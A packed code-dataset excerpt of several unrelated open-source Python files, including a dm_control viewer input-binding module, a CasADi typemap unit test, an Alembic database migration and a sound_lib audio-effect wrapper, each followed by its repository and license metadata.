_ROTATE_CAMERA = user_input.Exclusive(user_input.MOUSE_BUTTON_LEFT)
_CENTER_CAMERA = user_input.DoubleClick(user_input.MOUSE_BUTTON_RIGHT)
_SELECT_OBJECT = user_input.DoubleClick(user_input.MOUSE_BUTTON_LEFT)
_TRACK_OBJECT = user_input.DoubleClick(
(user_input.MOUSE_BUTTON_RIGHT, user_input.MOD_CONTROL))
_FREE_LOOK = user_input.KEY_ESCAPE
_NEXT_CAMERA = user_input.KEY_RIGHT_BRACKET
_PREVIOUS_CAMERA = user_input.KEY_LEFT_BRACKET
_ZOOM_TO_SCENE = (user_input.KEY_A, user_input.MOD_CONTROL)
_DOUBLE_BUFFERING = user_input.KEY_F5
_PREV_RENDERING_MODE = (user_input.KEY_F6, user_input.MOD_SHIFT)
_NEXT_RENDERING_MODE = user_input.KEY_F6
_PREV_LABELING_MODE = (user_input.KEY_F7, user_input.MOD_SHIFT)
_NEXT_LABELING_MODE = user_input.KEY_F7
_PRINT_CAMERA = user_input.KEY_F11
_VISUALIZATION_FLAGS = user_input.Range(
[ord(functions.mjVISSTRING[i][2]) for i in
range(0, enums.mjtVisFlag.mjNVISFLAG)])
_GEOM_GROUPS = user_input.Range(
[i + ord('0') for i in range(min(_NUM_GROUP_KEYS, constants.mjNGROUP))])
_SITE_GROUPS = user_input.Range(
[(i + ord('0'), user_input.MOD_SHIFT) for i in
range(min(_NUM_GROUP_KEYS, constants.mjNGROUP))])
_RENDERING_FLAGS = user_input.Range(
[ord(functions.mjRNDSTRING[i][2]) for i in
range(0, enums.mjtRndFlag.mjNRNDFLAG)])
_CAMERA_MOVEMENT_ACTIONS = [enums.mjtMouse.mjMOUSE_MOVE_V,
enums.mjtMouse.mjMOUSE_ROTATE_H]
# Translates mouse wheel rotations to zoom speed.
_SCROLL_SPEED_FACTOR = 0.05
# Distance, in meters, at which to focus on the clicked object.
_LOOK_AT_DISTANCE = 1.5
# Zoom factor used when zooming in on the entire scene.
_FULL_SCENE_ZOOM_FACTOR = 1.5
class Viewer:
"""Viewport displaying the contents of a physics world."""
def __init__(self, viewport, mouse, keyboard, camera_settings=None,
zoom_factor=_FULL_SCENE_ZOOM_FACTOR):
"""Instance initializer.
Args:
viewport: Render viewport, instance of renderer.Viewport.
mouse: A mouse device.
keyboard: A keyboard device.
camera_settings: Properties of the scene MjvCamera.
zoom_factor: Initial scale factor for zooming into the scene.
"""
self._viewport = viewport
self._mouse = mouse
self._null_perturbation = renderer.NullPerturbation()
self._render_settings = renderer.RenderSettings()
self._input_map = user_input.InputMap(mouse, keyboard)
self._camera = None
self._camera_settings = camera_settings
self._renderer = None
self._manipulator = None
self._free_camera = None
self._camera_select = None
self._zoom_factor = zoom_factor
def __del__(self):
del self._camera
del self._renderer
del self._manipulator
del self._free_camera
del self._camera_select
def initialize(self, physics, renderer_instance, touchpad):
"""Initialize the viewer.
Args:
physics: Physics instance.
renderer_instance: A renderer.Base instance.
touchpad: A boolean, use input dedicated to touchpad.
"""
self._camera = renderer.SceneCamera(
physics.model, physics.data, self._render_settings,
settings=self._camera_settings, zoom_factor=self._zoom_factor)
self._manipulator = ManipulationController(
self._viewport, self._camera, self._mouse)
self._free_camera = FreeCameraController(
self._viewport, self._camera, self._mouse, self._manipulator)
self._camera_select = CameraSelector(
physics.model, self._camera, self._free_camera)
self._renderer = renderer_instance
self._input_map.clear_bindings()
if touchpad:
self._input_map.bind(
self._manipulator.set_move_vertical_mode,
_MOVE_OBJECT_VERTICAL_TOUCHPAD)
self._input_map.bind(
self._manipulator.set_move_horizontal_mode,
_MOVE_OBJECT_HORIZONTAL_TOUCHPAD)
self._input_map.bind(
self._manipulator.set_rotate_mode, _ROTATE_OBJECT_TOUCHPAD)
self._input_map.bind(
self._free_camera.set_pan_vertical_mode,
_PAN_CAMERA_VERTICAL_TOUCHPAD)
self._input_map.bind(
self._free_camera.set_pan_horizontal_mode,
_PAN_CAMERA_HORIZONTAL_TOUCHPAD)
else:
self._input_map.bind(
self._manipulator.set_move_vertical_mode, _MOVE_OBJECT_VERTICAL_MOUSE)
self._input_map.bind(
self._manipulator.set_move_horizontal_mode,
_MOVE_OBJECT_HORIZONTAL_MOUSE)
self._input_map.bind(
self._manipulator.set_rotate_mode, _ROTATE_OBJECT_MOUSE)
self._input_map.bind(
self._free_camera.set_pan_vertical_mode, _PAN_CAMERA_VERTICAL_MOUSE)
self._input_map.bind(
self._free_camera.set_pan_horizontal_mode,
_PAN_CAMERA_HORIZONTAL_MOUSE)
self._input_map.bind(self._print_camera_transform, _PRINT_CAMERA)
self._input_map.bind(
self._render_settings.select_prev_rendering_mode, _PREV_RENDERING_MODE)
self._input_map.bind(
self._render_settings.select_next_rendering_mode, _NEXT_RENDERING_MODE)
self._input_map.bind(
self._render_settings.select_prev_labeling_mode, _PREV_LABELING_MODE)
self._input_map.bind(
self._render_settings.select_next_labeling_mode, _NEXT_LABELING_MODE)
self._input_map.bind(
self._render_settings.select_prev_labeling_mode, _PREV_LABELING_MODE)
self._input_map.bind(
self._render_settings.toggle_stereo_buffering, _DOUBLE_BUFFERING)
self._input_map.bind(
self._render_settings.toggle_visualization_flag, _VISUALIZATION_FLAGS)
self._input_map.bind(
self._render_settings.toggle_site_group, _SITE_GROUPS)
self._input_map.bind(
self._render_settings.toggle_geom_group, _GEOM_GROUPS)
self._input_map.bind(
self._render_settings.toggle_rendering_flag, _RENDERING_FLAGS)
self._input_map.bind(self._camera.zoom_to_scene, _ZOOM_TO_SCENE)
self._input_map.bind(self._camera_select.select_next, _NEXT_CAMERA)
self._input_map.bind(self._camera_select.select_previous, _PREVIOUS_CAMERA)
self._input_map.bind_z_axis(self._free_camera.zoom)
self._input_map.bind_plane(self._free_camera.on_move)
self._input_map.bind(self._free_camera.set_rotate_mode, _ROTATE_CAMERA)
self._input_map.bind(self._free_camera.center, _CENTER_CAMERA)
self._input_map.bind(self._free_camera.track, _TRACK_OBJECT)
self._input_map.bind(self._free_camera.free_look, _FREE_LOOK)
self._input_map.bind(self._manipulator.select, _SELECT_OBJECT)
self._input_map.bind_plane(self._manipulator.on_move)
def deinitialize(self):
"""Deinitializes the viewer instance."""
self._input_map.clear_bindings()
self._camera_settings = self._camera.settings if self._camera else None
del self._camera
del self._renderer
del self._manipulator
del self._free_camera
del self._camera_select
self._camera = None
self._renderer = None
self._manipulator = None
self._free_camera = None
self._camera_select = None
def render(self):
"""Renders the visualized scene."""
if self._camera and self._renderer: # Can be None during env reload.
scene = self._camera.render(self.perturbation)
self._render_settings.apply_settings(scene)
self._renderer.render(self._viewport, scene)
def zoom_to_scene(self):
"""Utility method that set the camera to embrace the entire scene."""
if self._camera:
self._camera.zoom_to_scene()
def _print_camera_transform(self):
if self._camera:
rotation_mtx, position = self._camera.transform
right, up, _ = rotation_mtx
print('<camera pos="%.3f %.3f %.3f" '
'xyaxes="%.3f %.3f %.3f %.3f %.3f %.3f"/>' % (
position[0], position[1], position[2], right[0], right[1],
right[2], up[0], up[1], up[2]))
@property
def perturbation(self):
"""Returns an active renderer.Perturbation object."""
if self._manipulator and self._manipulator.perturbation:
return self._manipulator.perturbation
else:
return self._null_perturbation
@property
def camera(self):
"""Returns an active renderer.SceneCamera instance."""
return self._camera
@property
def render_settings(self):
"""Returns renderer.RenderSettings used by this viewer."""
return self._render_settings
class CameraSelector:
"""Binds camera behavior to user input."""
def __init__(self, model, camera, free_camera, **unused):
"""Instance initializer.
Args:
model: Instance of MjModel.
camera: Instance of SceneCamera.
free_camera: Instance of FreeCameraController.
**unused: Other arguments, not used by this class.
"""
del unused # Unused.
self._model = model
self._camera = camera
self._free_ctrl = free_camera
self._camera_idx = -1
self._active_ctrl = self._free_ctrl
def select_previous(self):
"""Cycles to the previous scene camera."""
self._camera_idx -= 1
if not self._model.ncam or self._camera_idx < -1:
self._camera_idx = self._model.ncam - 1
self._commit_selection()
def select_next(self):
"""Cycles to the next scene camera."""
self._camera_idx += 1
if not self._model.ncam or self._camera_idx >= self._model.ncam:
self._camera_idx = -1
self._commit_selection()
def _commit_selection(self):
"""Selects a controller that should go with the selected camera."""
if self._camera_idx < 0:
self._activate(self._free_ctrl)
else:
self._camera.set_fixed_mode(self._camera_idx)
self._activate(None)
def _activate(self, controller):
"""Activates a sub-controller."""
if controller == self._active_ctrl:
return
if self._active_ctrl is not None:
self._active_ctrl.deactivate()
self._active_ctrl = controller
if self._active_ctrl is not None:
self._active_ctrl.activate()
class FreeCameraController:
"""Implements the free camera behavior."""
def __init__(self, viewport, camera, pointer, selection_service, **unused):
"""Instance initializer.
Args:
viewport: Instance of mujoco_viewer.Viewport.
camera: Instance of mujoco_viewer.SceneCamera.
pointer: A pointer that moves around the screen and is used to point at
bodies. Implements a single attribute - 'position' - that returns a
2-component vector of pointer's screen space position.
selection_service: An instance of a class implementing a
'selected_body_id' property.
**unused: Other optional parameters not used by this class.
"""
del unused # Unused.
self._viewport = viewport
self._camera = camera
self._pointer = pointer
self._selection_service = selection_service
self._active = True
self._tracked_body_idx = -1
self._action = util.AtomicAction()
def activate(self):
"""Activates the controller."""
self._active = True
self._update_camera_mode()
def deactivate(self):
"""Deactivates the controller."""
self._active = False
self._action = util.AtomicAction()
def set_pan_vertical_mode(self, enable):
"""Starts/ends the camera panning action along the vertical plane.
Args:
enable: A boolean flag, True to start the action, False to end it.
"""
if self._active:
if enable:
self._action.begin(enums.mjtMouse.mjMOUSE_MOVE_V)
else:
self._action.end(enums.mjtMouse.mjMOUSE_MOVE_V)
def set_pan_horizontal_mode(self, enable):
"""Starts/ends the camera panning action along the horizontal plane.
Args:
enable: A boolean flag, True to start the action, False to end it.
"""
if self._active:
if enable:
self._action.begin(enums.mjtMouse.mjMOUSE_MOVE_H)
else:
self._action.end(enums.mjtMouse.mjMOUSE_MOVE_H)
def set_rotate_mode(self, enable):
"""Starts/ends the camera rotation action.
Args:
enable: A boolean flag, True to start the action, False to end it.
"""
if self._active:
if enable:
self._action.begin(enums.mjtMouse.mjMOUSE_ROTATE_H)
else:
self._action.end(enums.mjtMouse.mjMOUSE_ROTATE_H)
def center(self):
"""Focuses camera on the object the pointer is currently pointing at."""
if self._active:
body_id, world_pos = self._camera.raycast(self._viewport,
self._pointer.position)
if body_id >= 0:
self._camera.look_at(world_pos, _LOOK_AT_DISTANCE)
def on_move(self, position, translation):
"""Translates mouse moves onto camera movements."""
del position
if self._action.in_progress:
viewport_offset = self._viewport.screen_to_viewport(translation)
self._camera.move(self._action.watermark, viewport_offset)
def zoom(self, zoom_factor):
"""Zooms the camera in/out.
Args:
zoom_factor: A floating point value, by how much to zoom the camera.
Positive values zoom the camera in, negative values zoom it out.
"""
if self._active:
offset = [0, _SCROLL_SPEED_FACTOR * zoom_factor * -1.]
self._camera.move(enums.mjtMouse.mjMOUSE_ZOOM, offset)
def track(self):
"""Makes the camera track the currently selected object.
The selection is managed by the selection service.
"""
if self._active and self._tracked_body_idx < 0:
self._tracked_body_idx = self._selection_service.selected_body_id
self._update_camera_mode()
def free_look(self):
"""Switches the camera to a free-look mode."""
if self._active:
self._tracked_body_idx = -1
self._update_camera_mode()
def _update_camera_mode(self):
"""Sets the camera into a tracking or a free-look mode."""
if self._tracked_body_idx >= 0:
self._camera.set_tracking_mode(self._tracked_body_idx)
else:
self._camera.set_freelook_mode()
class ManipulationController:
"""Binds control over scene objects to user input."""
def __init__(self, viewport, camera, pointer, **unused):
"""Instance initializer.
Args:
viewport: Instance of mujoco_viewer.Viewport.
camera: Instance of mujoco_viewer.SceneCamera.
pointer: A pointer that moves around the screen and is used to point at
bodies. Implements a single attribute - 'position' - that returns a
2-component vector of pointer's screen space position.
**unused: Other arguments, unused by this class.
"""
del unused # Unused.
self._viewport = viewport
self._camera = camera
self._pointer = pointer
self._action = util.AtomicAction(self._update_action)
self._perturb = None
def select(self):
"""Translates mouse double-clicks to object selection action."""
body_id, _ = self._camera.raycast(self._viewport, self._pointer.position)
if body_id >= 0:
self._perturb = self._camera.new_perturbation(body_id)
else:
self._perturb = None
def set_move_vertical_mode(self, enable):
"""Begins/ends an object translation action along the vertical plane.
Args:
enable: A boolean flag, True begins the action, False ends it.
"""
if enable:
self._action.begin(enums.mjtMouse.mjMOUSE_MOVE_V)
else:
self._action.end(enums.mjtMouse.mjMOUSE_MOVE_V)
def set_move_horizontal_mode(self, enable):
"""Begins/ends an object translation action along the horizontal plane.
Args:
enable: A boolean flag, True begins the action, False ends it.
"""
if enable:
self._action.begin(enums.mjtMouse.mjMOUSE_MOVE_H)
else:
self._action.end(enums.mjtMouse.mjMOUSE_MOVE_H)
def set_rotate_mode(self, enable):
"""Begins/ends an object rotation action.
Args:
enable: A boolean flag, True begins the action, False ends it.
"""
if enable:
self._action.begin(enums.mjtMouse.mjMOUSE_ROTATE_H)
else:
self._action.end(enums.mjtMouse.mjMOUSE_ROTATE_H)
def _update_action(self, action):
if self._perturb is not None:
if action is not None:
_, grab_pos = self._camera.raycast(self._viewport,
self._pointer.position)
self._perturb.start_move(action, grab_pos)
else:
self._perturb.end_move()
def on_move(self, position, translation):
"""Translates mouse moves to selected object movements."""
del position
if self._perturb is not None and self._action.in_progress:
viewport_offset = self._viewport.screen_to_viewport(translation)
self._perturb.tick_move(viewport_offset)
@property
def perturbation(self):
"""Returns the Perturbation object that represents the manipulated body."""
return self._perturb
@property
def selected_body_id(self):
"""Returns the id of the selected body, or -1 if none is selected."""
return self._perturb.body_id if self._perturb is not None else -1
| deepmind/dm_control | dm_control/viewer/viewer.py | Python | apache-2.0 | 18,981 |
#
# This file is part of CasADi.
#
# CasADi -- A symbolic framework for dynamic optimization.
# Copyright (C) 2010-2014 Joel Andersson, Joris Gillis, Moritz Diehl,
# K.U. Leuven. All rights reserved.
# Copyright (C) 2011-2014 Greg Horn
#
# CasADi is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 3 of the License, or (at your option) any later version.
#
# CasADi is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with CasADi; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
#
#
from __future__ import division
#
# This file is part of CasADi.
#
# CasADi -- A symbolic framework for dynamic optimization.
# Copyright (C) 2010 by Joel Andersson, Moritz Diehl, K.U.Leuven. All rights reserved.
#
# CasADi is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 3 of the License, or (at your option) any later version.
#
# CasADi is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with CasADi; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
#
#
from casadi import *
import casadi as c
from numpy import *
import numpy as n
import unittest
from types import *
from helpers import *
scipy_available = True
try:
from scipy.sparse import *
from scipy import *
except:
scipy_available = False
import warnings
class typemaptests(casadiTestCase):
def setUp(self):
pass
def test_floordiv(self):
self.message("make sure that floor_div raises errors")
for x in [SX.sym("x"),MX.sym("x"),DMatrix([3]),SX.sym("x")]:
for y in [2,2.0,DMatrix(3),numpy.matrix([2.0])]:
print (x,y)
self.assertRaises(Exception,lambda : x//y)
self.assertRaises(Exception,lambda : y//x)
def test_autoconversion(self):
self.message("Auto conversion DMatrix")
x=array([2.3])
s = DMatrix([[1,2],[3,4]])
n = array(s)
self.checkarray(x[0]*s,s*x[0],"")
self.checkarray(x[0]*s,n*x[0],"")
self.checkarray(x[0]/s,1/(s/x[0]),"")
self.checkarray(x[0]/s,x[0]/n,"")
self.checkarray(x[0]-s,-(s-x[0]),"")
self.checkarray(x[0]-s,x[0]-n,"")
self.checkarray(x[0]+s,s+x[0],"")
self.checkarray(x[0]+s,x[0]+n,"")
w=array([2.3])[0]
w+=s
self.checkarray(w,2.3+n,"")
w=array([2.3])[0]
w-=s
self.checkarray(w,2.3-n,"")
w=array([2.3])[0]
w*=s
self.checkarray(w,2.3*n,"")
w=array([2.3])[0]
w/=s
self.checkarray(w,2.3/n,"")
x=[2.3]
self.checkarray(x[0]*s,s*x[0],"")
self.checkarray(x[0]*s,n*x[0],"")
self.checkarray(x[0]/s,1/(s/x[0]),"")
self.checkarray(x[0]/s,x[0]/n,"")
self.checkarray(x[0]-s,-(s-x[0]),"")
self.checkarray(x[0]-s,x[0]-n,"")
self.checkarray(x[0]+s,s+x[0],"")
self.checkarray(x[0]+s,x[0]+n,"")
w=2.3
w+=s
self.checkarray(w,2.3+n,"")
w=2.3
w-=s
self.checkarray(w,2.3-n,"")
w=2.3
w*=s
self.checkarray(w,2.3*n,"")
w=2.3
w/=s
self.checkarray(w,2.3/n,"")
def test_autoconversionMX(self):
self.message("Auto conversion MX")
s = DMatrix([[1,2],[3,4]])
x = SX(3)
y = MX(3)
def doit(z,s,fun):
function = None
if type(z) in [type(SX()),type(SX())]:
ztype = [type(SX()),type(SX())]
function = SXFunction
if type(z) in [type(MX())]:
ztype = [type(MX())]
function = MXFunction
r = fun(z,s)
if type(z) is type(SX()) and type(s) is type(SX()):
self.assertTrue(type(r) is type(SX()))
self.assertTrue(type(r) in ztype)
hasNum = True
if type(s) in [type(SX()),type(MX()),type(SX())]:
hasNum = False
if hasNum:
dummy = [1.3,2.7,9.4,1.0]
f=function([z],[r])
f.init()
f.setInput(dummy[0:f.input().size()])
f.evaluate()
f_=function([z],[z])
f_.init()
f_.setInput(dummy[0:f.input().size()])
f_.evaluate()
self.checkarray(fun(f_.getOutput(),DMatrix(s)),f.getOutput(),"operation")
else:
dummy = [1.3,2.7,9.4,1.0]
dummy2 = [0.3,2.4,1.4,1.7]
f=function([z,s],[r])
f.init()
f.setInput(dummy[0:f.input(0).size()],0)
f.setInput(dummy2[0:f.input(1).size()],1)
f.evaluate()
f_=function([z,s],[z,s])
f_.init()
f_.setInput(dummy[0:f.input(0).size()],0)
f_.setInput(dummy2[0:f.input(1).size()],1)
f_.evaluate()
self.checkarray(fun(f_.getOutput(0),f_.getOutput(1)),f.getOutput(),"operation")
def tests(z,s):
doit(z,s,lambda z,s: -z)
doit(z,s,lambda z,s: z+s)
doit(z,s,lambda z,s: s+z)
doit(z,s,lambda z,s: s*z)
doit(z,s,lambda z,s: z*s)
doit(z,s,lambda z,s: z-s)
doit(z,s,lambda z,s: s-z)
doit(z,s,lambda z,s: z/s)
doit(z,s,lambda z,s: s/z)
doit(z,s,lambda z,s: z**s)
doit(z,s,lambda z,s: s**z)
doit(z,s,lambda z,s: fmin(s,z))
doit(z,s,lambda z,s: fmax(s,z))
doit(z,s,lambda z,s: min(s,z))
doit(z,s,lambda z,s: max(s,z))
doit(z,s,lambda z,s: constpow(s,z))
doit(z,s,lambda z,s: constpow(z,s))
nums = [array([[1,2],[3,4]]),DMatrix([[1,2],[3,4]]), DMatrix(4), array(4),4.0,4]
## numeric & SX
for s in nums:
for z in [SX.sym("x"), SX.sym("x"), SX.sym("x",2,2)]:
print "z = %s, s = %s" % (str(z),str(s))
print " z = %s, s = %s" % (type(z),type(s))
tests(z,s)
# numeric & MX
for s in nums:
for z in [MX.sym("x",2,2)]:
print "z = %s, s = %s" % (str(z),str(s))
print " z = %s, s = %s" % (type(z),type(s))
tests(z,s)
# SX & SX
for s in [SX.sym("x"), SX.sym("x"), SX.sym("x",2,2)]:
for z in [SX.sym("x"),SX.sym("x"), SX.sym("x",2,2)]:
print "z = %s, s = %s" % (str(z),str(s))
print " z = %s, s = %s" % (type(z),type(s))
tests(z,s)
## MX & MX
for s in [MX.sym("x"),MX.sym("x",2,2)]:
for z in [MX.sym("x"),MX.sym("x",2,2)]:
print "z = %s, s = %s" % (str(z),str(s))
print " z = %s, s = %s" % (type(z),type(s))
tests(z,s)
for (s,x,y) in [
(matrix([[1,2],[3,4]]),SX.sym("x",2,2),MX.sym("x",2,2))
]:
for z,ztype in zip([x,y],[[type(SX()),type(SX())],[type(MX())]]):
print "z = %s, s = %s" % (str(z),str(s))
print " z = %s, s = %s" % (type(z),type(s))
doit(z,s,lambda z,s: -z)
-s
doit(z,s,lambda z,s: z+s)
doit(z,s,lambda s,z: s+z)
doit(z,s,lambda z,s: s*z)
doit(z,s,lambda s,z: z*s)
doit(z,s,lambda z,s: z-s)
doit(z,s,lambda s,z: s-z)
doit(z,s,lambda z,s: z/s)
doit(z,s,lambda s,z: s/z)
if __name__ == '__main__':
unittest.main()
| ghorn/debian-casadi | test/python/typemaps_futurediv.py | Python | lgpl-3.0 | 7,943 |
"""
Revision ID: 0266_user_folder_perms_table
Revises: 0265_add_confirm_edit_templates
Create Date: 2019-02-26 17:00:13.247321
"""
from alembic import op
import sqlalchemy as sa
from sqlalchemy.dialects import postgresql
revision = '0266_user_folder_perms_table'
down_revision = '0265_add_confirm_edit_templates'
def upgrade():
op.create_unique_constraint('ix_id_service_id', 'template_folder', ['id', 'service_id'])
op.create_table('user_folder_permissions',
sa.Column('user_id', postgresql.UUID(as_uuid=True), nullable=False),
sa.Column('template_folder_id', postgresql.UUID(as_uuid=True), nullable=False),
sa.Column('service_id', postgresql.UUID(as_uuid=True), nullable=False),
sa.ForeignKeyConstraint(['template_folder_id', 'service_id'], ['template_folder.id', 'template_folder.service_id'], ),
sa.ForeignKeyConstraint(['user_id', 'service_id'], ['user_to_service.user_id', 'user_to_service.service_id'], ),
sa.ForeignKeyConstraint(['template_folder_id'], ['template_folder.id'], ),
sa.PrimaryKeyConstraint('user_id', 'template_folder_id', 'service_id'),
)
def downgrade():
op.drop_table('user_folder_permissions')
op.drop_constraint('ix_id_service_id', 'template_folder', type_='unique')
| alphagov/notifications-api | migrations/versions/0266_user_folder_perms_table.py | Python | mit | 1,278 |
"""
ALTER TABLE codebooks_bases RENAME supercodebook_id TO base_id;
ALTER TABLE codebooks_bases RENAME subcodebook_id TO codebook_id;
"""
| tschmorleiz/amcat | amcat/db_version.py | Python | agpl-3.0 | 138 |
from future.builtins import object
from sound_lib.main import bass_call
import ctypes
from sound_lib.external import pybass
import string #for the alphabet!
class SoundEffect(object):
def __init__(self, channel, type=None, priority=0):
self.original_channel = channel
if hasattr(channel, 'handle'):
channel = channel.handle
if type is None:
type = self.effect_type
self.effect_type = type
self.priority = priority
self.handle = bass_call(pybass.BASS_ChannelSetFX, channel, type, priority)
def get_parameters(self):
"""Retrieves the parameters of an effect."""
res = {}
params = self.struct()
bass_call(pybass.BASS_FXGetParameters, self.handle, ctypes.pointer(params))
for f in params._fields_:
res[f[0]] = getattr(params, f[0])
return res
def set_parameters(self, parameters):
params = self.struct()
for p, v in parameters.items():
setattr(params, p, v)
bass_call(pybass.BASS_FXSetParameters, self.handle, ctypes.pointer(params))
def __dir__(self):
res = dir(self.__class__)
return res + self._get_pythonic_effect_fields()
def _get_effect_fields(self):
return [i[0] for i in self.struct._fields_]
def _get_pythonic_effect_fields(self):
return [self._bass_to_python(i) for i in self._get_effect_fields() if not i.startswith('_') ]
def _bass_to_python(self, func):
for c in string.ascii_lowercase:
func = func.replace(c.upper(), '_%s' % c)
if func.startswith('_'):
func = func[1:]
return func[2:]
def _python_to_bass(self, func):
for c in string.ascii_lowercase:
func = func.replace('_%s' % c, c.upper())
func = '%s%s' % (func[0].upper(), func[1:])
for f in self._get_effect_fields():
if f.endswith(func):
func = f
return func
def __getattr__(self, attr):
return self.get_parameters()[self._python_to_bass(attr)]
def __setattr__(self, attr, val):
if attr not in self._get_pythonic_effect_fields():
return super(SoundEffect, self).__setattr__(attr, val)
params = self.get_parameters()
key = self._python_to_bass(attr)
if key not in params:
raise AttributeError('Unable to set attribute, suspect issue with base name-munging code')
params[key] = val
self.set_parameters(params)
| codeofdusk/ProjectMagenta | src/sound_lib/effects/effect.py | Python | gpl-2.0 | 2,199 |
Subsets and Splits